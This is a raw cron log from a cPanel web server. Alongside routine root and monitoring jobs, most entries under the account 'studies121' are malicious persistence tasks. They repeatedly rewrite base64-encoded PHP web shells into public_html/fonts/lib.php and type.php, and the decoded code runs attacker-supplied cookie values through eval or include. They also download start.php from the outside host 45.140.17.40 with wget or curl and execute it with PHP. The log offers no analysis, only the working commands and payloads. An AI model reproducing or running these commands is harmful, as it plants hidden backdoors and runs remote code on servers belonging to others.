Sep 10 18:16:01 ip-184-168-122-23 CROND[20964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:16:01 ip-184-168-122-23 CROND[20967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:16:01 ip-184-168-122-23 CROND[20968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:17:01 ip-184-168-122-23 CROND[21080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:17:01 ip-184-168-122-23 CROND[21082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:17:01 ip-184-168-122-23 CROND[21084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:17:01 ip-184-168-122-23 CROND[21083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:18:01 ip-184-168-122-23 CROND[21173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:18:01 ip-184-168-122-23 CROND[21174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:18:01 ip-184-168-122-23 CROND[21177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:18:01 ip-184-168-122-23 CROND[21176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:18:01 ip-184-168-122-23 CROND[21178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:19:01 ip-184-168-122-23 CROND[21356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:19:01 ip-184-168-122-23 CROND[21359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:19:01 ip-184-168-122-23 CROND[21358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:19:01 ip-184-168-122-23 CROND[21357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:20:01 ip-184-168-122-23 CROND[21475]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:20:01 ip-184-168-122-23 CROND[21477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:20:01 ip-184-168-122-23 CROND[21480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:20:01 ip-184-168-122-23 CROND[21482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:20:01 ip-184-168-122-23 CROND[21483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:20:01 ip-184-168-122-23 CROND[21485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:20:01 ip-184-168-122-23 CROND[21481]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 18:20:01 ip-184-168-122-23 CROND[21489]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:20:01 ip-184-168-122-23 CROND[21488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:21:02 ip-184-168-122-23 CROND[21590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:21:02 ip-184-168-122-23 CROND[21593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:21:02 ip-184-168-122-23 CROND[21591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:21:02 ip-184-168-122-23 CROND[21592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:22:01 ip-184-168-122-23 CROND[21727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:22:01 ip-184-168-122-23 CROND[21729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:22:01 ip-184-168-122-23 CROND[21730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:22:01 ip-184-168-122-23 CROND[21731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:22:01 ip-184-168-122-23 CROND[21732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:23:01 ip-184-168-122-23 CROND[21876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:23:01 ip-184-168-122-23 CROND[21875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:23:01 ip-184-168-122-23 CROND[21877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:23:01 ip-184-168-122-23 CROND[21878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:24:01 ip-184-168-122-23 CROND[22028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:24:01 ip-184-168-122-23 CROND[22030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:24:02 ip-184-168-122-23 CROND[22031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:24:02 ip-184-168-122-23 CROND[22032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:24:02 ip-184-168-122-23 CROND[22034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:25:01 ip-184-168-122-23 CROND[22190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:25:01 ip-184-168-122-23 CROND[22195]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 18:25:01 ip-184-168-122-23 CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:25:01 ip-184-168-122-23 CROND[22202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:25:01 ip-184-168-122-23 CROND[22201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:25:01 ip-184-168-122-23 CROND[22205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:25:01 ip-184-168-122-23 CROND[22204]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:26:02 ip-184-168-122-23 CROND[22309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:26:02 ip-184-168-122-23 CROND[22311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:26:02 ip-184-168-122-23 CROND[22313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:26:02 ip-184-168-122-23 CROND[22314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:26:02 ip-184-168-122-23 CROND[22315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:27:01 ip-184-168-122-23 CROND[22398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:27:01 ip-184-168-122-23 CROND[22402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:27:01 ip-184-168-122-23 CROND[22400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:27:01 ip-184-168-122-23 CROND[22401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:28:01 ip-184-168-122-23 CROND[22494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:28:01 ip-184-168-122-23 CROND[22493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:28:01 ip-184-168-122-23 CROND[22496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
